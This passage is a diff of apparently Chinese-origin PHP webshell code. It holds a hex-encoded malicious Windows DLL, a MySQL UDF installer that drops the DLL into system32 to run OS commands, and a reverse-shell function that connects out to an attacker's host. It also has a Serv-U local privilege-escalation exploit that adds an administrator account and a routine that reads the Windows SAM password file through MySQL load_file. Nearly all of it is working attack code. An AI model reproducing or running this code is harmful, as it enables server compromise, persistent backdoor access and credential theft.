7F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+}
+
+function Mysql_m()
+{   
+    extract($_POST);
+    extract($_GET);
+    $mysql_hostname = $mysql_hostname?$mysql_hostname : "127.0.0.1";
+    $mysql_username = $mysql_username?$mysql_username : "root";
+    $post_sql = $post_sql ? $post_sql : "select state(\"net user\")";
+    $mysql_dbname = $mysql_dbname ? $mysql_dbname : "mysql";
+    if($install){
+	$link = mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error());
+	mysql_select_db($mysql_dbname,$link) or die(mysql_error());
+	@mysql_query("DROP TABLE udf_temp", $link);
+	$query="CREATE TABLE udf_temp (udf BLOB);";
+	if(!($result=mysql_query($query, $link)))
+		die('error:create temp table udf_temp error.'.mysql_error());
+	else
+	{
+		$code=get_code();
+		$query="INSERT into udf_temp values (CONVERT($code,CHAR));";
+		if(!mysql_query($query, $link))
+		{
+			mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
+			die('error:insert DLL error.'.mysql_error());
+		}
+		else
+		{
+			$dllname = "mysqlDll.dll";
+			if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll";
+			elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; 
+			
+			if(file_exists($dir)) {
+				$time = time();
+				$dir = str_replace("mysqlDll","mysqlDll_$time",$dir);
+				$dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname);
+			}
+			$query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ;
+			if(!mysql_query($query, $link))
+			{
+				die("export dll error:maybe dll is no priv or $dir is exists".mysql_error());
+			}
+			else
+			{
+				echo '<font style=font:11pt color=ff0000>install dll success'.$dir.'</font><br>';
+			}
+		}
+		mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
+		$result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error());
+		if($result) {
+			echo "install success <br><a href='?'>back</a>";
+			exit();
+		}
+	}
+}
+?>
+<form method="post" action="?s=m"><br><br>  
+<div class="actall">Host: <input name="mysql_hostname" value="<?echo $mysql_hostname;?>" type="text"  style="width:100px" >
+User: <input name="mysql_username" value="<?echo $mysql_username;?>" type="text"  style="width:70px">
+Password: <input type="password" name="mysql_passwd" value="<?echo $mysql_passwd;?>" style="width:70px">
+DB: <input name="mysql_dbname" value="<?echo $mysql_dbname;?>" type="text" style="width:70px">
+&nbsp;&nbsp;<input class="bt" name="install" type="submit" value="install">
+ <br>
+<br>
+sql statement:<br>
+ <textarea name="post_sql" cols="80" rows="10"><?echo stripslashes($post_sql);?>
+</textarea>
+          <br>  <br>
+          <input class="bt" name="" type="submit" value="execute">
+        </form><br>back screen:</div>
+<?
+if ($_POST[post_sql]) {
+$link = mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error());
+if($mysql_dbname) mysql_select_db($mysql_dbname,$link) or die(mysql_error());
+$query = stripslashes($post_sql);
+$result = mysql_query($query, $link)  or die(mysql_error());
+?>
+<br>
+<textarea name="post_sql" style="width:610px;height:180px;">
+<?
+echo ($result) ? "Done:$result\n\n" : "error:$result\n\n ".mysql_error();
+while ($row =  @mysql_fetch_array ($result)) {
+print_r ($row);
+}
+}
+?>    
+</textarea>
+<?
+
+}
+
+//win back connect - php socket
+
+function phpsocket()
+{
+    @set_time_limit(0);
+$system=strtoupper(substr(PHP_OS, 0, 3));
+if(!extension_loaded('sockets'))
+ {
+     if ($system == 'WIN') {
+        @dl('php_sockets.dll') or die("Can't load socket");
+        }else{
+         @dl('sockets.so') or die("Can't load socket");
+		}
+     
+ }
+
+if(isset($_POST['host']) && isset($_POST['port']))
+{
+	$host = $_POST['host'];
+	$port = $_POST['port'];
+}else{	
+print<<<eof
+<html>
+<br><br>
+<body>
+<div class="actall"><h5>reverse cmdshell with php socket;<br>the extension php_sockets should be openned;<br>please check phpinfo();<br>code by <a href=http://www.Wolvez.org><font color=#FF67A0>Maple-X</font></a><br></h5><br></div>
+<form method=post action="?s=r">
+<div class="actall"><br>Host:<input type=text name=host value="">&nbsp&nbsp
+Port:<input type=text name=port value="1120">&nbsp&nbsp<br><br>
+<input type="radio" name=info value="linux" checked>Linux
+<input type="radio" name=info value="win">Win &nbsp
+<input class="bt" type=submit name=submit value="connect">
+</form>
+</body>
+</html>
+eof;
+echo '<br><br>';
+}
+if($system=="WIN")
+{
+	$env=array('path' => 'c:\\windows\\system32');
+}else{
+	$env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
+}
+$descriptorspec = array(
+		0 => array("pipe","r"),
+		1 => array("pipe","w"),
+		2 => array("pipe","w"),
+		);
+$host=gethostbyname($host);
+$proto=getprotobyname("tcp");
+if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
+{
+	die("Socket Create Faile");
+}
+if(($ret=socket_connect($sock,$host,$port))<0)
+{
+	die("Connect Faile");
+}else{
+$message="----------------------PHP Connect-Back--------------------\n";
+socket_write($sock,$message,strlen($message));
+$cwd=str_replace('\\','/',dirname(__FILE__));
+while($cmd=socket_read($sock,65535,$proto))
+	{
+	if(trim(strtolower($cmd))=="exit")
+	{
+	socket_write($sock,"Bye Bye\n");
+	exit;
+	}else{
+		
+$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
+if (is_resource($process)) {
+    fwrite($pipes[0], $cmd);
+    fclose($pipes[0]);
+	
+	$msg=stream_get_contents($pipes[1]);
+    socket_write($sock,$msg,strlen($msg));
+    fclose($pipes[1]);
+
+	$msg=stream_get_contents($pipes[2]);
+	socket_write($sock,$msg,strlen($msg));
+    $return_value = proc_close($process);
+}
+	}
+}
+}
+    
+    }
+//serv-u
+function su()
+{
+	$SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P';
+print<<<END
+<div class="actall"><a href="?s=z">[Exec Command]</a> <a href="?s=z&o=adduser">[Add User]</a></div>
+<form method="POST">
+	<div class="actall">SU_Port <input name="SUPort" type="text" value="43958" style="width:300px"></div>
+	<div class="actall">SU_User <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div>
+	<div class="actall">SU_Pass <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div>
+END;
+if($_GET['o'] == 'adduser')
+{
+print<<<END
+<div class="actall">Username <input name="user" type="text" value="spider" style="width:100px">
+Password <input name="password" type="text" value="spider" style="width:100px">
+Directory <input name="part" type="text" value="C:\\\\" style="width:150px"></div>
+END;
+}
+else
+{
+print<<<END
+<div class="actall">Command <input name="SUCommand" type="text" value="net user b4che10r 123456 /add & net localgroup administrators b4che10r /add" style="width:600px"><br>
+<input name="user" type="hidden" value="b4che10r">
+<input name="password" type="hidden" value="123456">
+<input name="part" type="hidden" value="C:\\\\"></div>
+END;
+}
+echo '<div class="actall"><input class="bt" type="submit" value="Exec" style="width:80px;"></div></form>';
+	if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass'])))
+	{
+		echo '<div class="actall">';
+		$sendbuf = "";
+		$recvbuf = "";
+		$domain  = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n";
+		$adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n".
+							 "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n".
+							 "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n";
+		$deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n";
+		$sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
+		$recvbuf = @fgets($sock, 1024);
+		echo "Data receive: $recvbuf <br>";
+		$sendbuf = "USER ".$_POST["SUUser"]."\r\n";
+		@fputs($sock, $sendbuf, strlen($sendbuf));
+		echo "Data send: $sendbuf <br>";
+		$recvbuf = @fgets($sock, 1024);
+		echo "Data receive: $recvbuf <br>";
+		$sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
+		@fputs($sock, $sendbuf, strlen($sendbuf));
+		echo "Data send: $sendbuf <br>";
+		$recvbuf = @fgets($sock, 1024);
+		echo "Data receive: $recvbuf <br>";
+		$sendbuf = "SITE MAINTENANCE\r\n";
+		@fputs($sock, $sendbuf, strlen($sendbuf));
+		echo "Data send: $sendbuf <br>";
+		$recvbuf = @fgets($sock, 1024);
+		echo "Data receive: $recvbuf <br>";
+		$sendbuf = $domain;
+		@fputs($sock, $sendbuf, strlen($sendbuf));
+		echo "Data send: $sendbuf <br>";
+		$recvbuf = @fgets($sock, 1024);
+		echo "Data receive: $recvbuf <br>";
+		$sendbuf = $adduser;
+		@fputs($sock, $sendbuf, strlen($sendbuf));
+		echo "Data send: $sendbuf <br>";
+		$recvbuf = @fgets($sock, 1024);
+		echo "Data receive: $recvbuf <br>";
+		if(!empty($_POST['SUCommand']))
+		{
+	 		$exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
+	 		$recvbuf = @fgets($exp, 1024);
+	 		echo "Data receive: $recvbuf <br>";
+	 		$sendbuf = "USER ".$_POST['user']."\r\n";
+	 		@fputs($exp, $sendbuf, strlen($sendbuf));
+	 		echo "Data send: $sendbuf <br>";
+	 		$recvbuf = @fgets($exp, 1024);
+	 		echo "Data receive: $recvbuf <br>";
+	 		$sendbuf = "PASS ".$_POST['password']."\r\n";
+	 		@fputs($exp, $sendbuf, strlen($sendbuf));
+	 		echo "Data send: $sendbuf <br>";
+	 		$recvbuf = @fgets($exp, 1024);
+	 		echo "Data receive: $recvbuf <br>";
+	 		$sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
+	 		@fputs($exp, $sendbuf, strlen($sendbuf));
+	 		echo "Data send: site exec <font color=#006600>".$_POST["SUCommand"]."</font> <br>";
+	 		$recvbuf = @fgets($exp, 1024);
+	 		echo "Data receive: $recvbuf <br>";
+	 		$sendbuf = $deldomain;
+	 		@fputs($sock, $sendbuf, strlen($sendbuf));
+	 		echo "Data send: $sendbuf <br>";
+	 		$recvbuf = @fgets($sock, 1024);
+	 		echo "Data receive: $recvbuf <br>";
+	 		@fclose($exp);
+		}
+		@fclose($sock);
+		echo '</div>';
+	}
+}
+
+//mysql statement
+
+function Mysql_n()
+{
+	$MSG_BOX = ' ';
+	$mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();';
+	if(isset($_POST['mhost']) && isset($_POST['muser']))
+	{
+		$mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport'];
+		if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata);
+		else $MSG_BOX = 'Connect to mysql faild ';
+	}
+	$downfile = 'c:/windows/repair/sam';
+	if(!empty($_POST['downfile']))
+	{
+		$downfile = File_Str($_POST['downfile']);
+		$binpath = bin2hex($downfile);
+		$query = 'select load_file(0x'.$binpath.')';
+		if($result = @mysql_query($query,$conn))
+		{
+			$k = 0; $downcode = '';
+			while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;}
+			$filedown = basename($downfile);
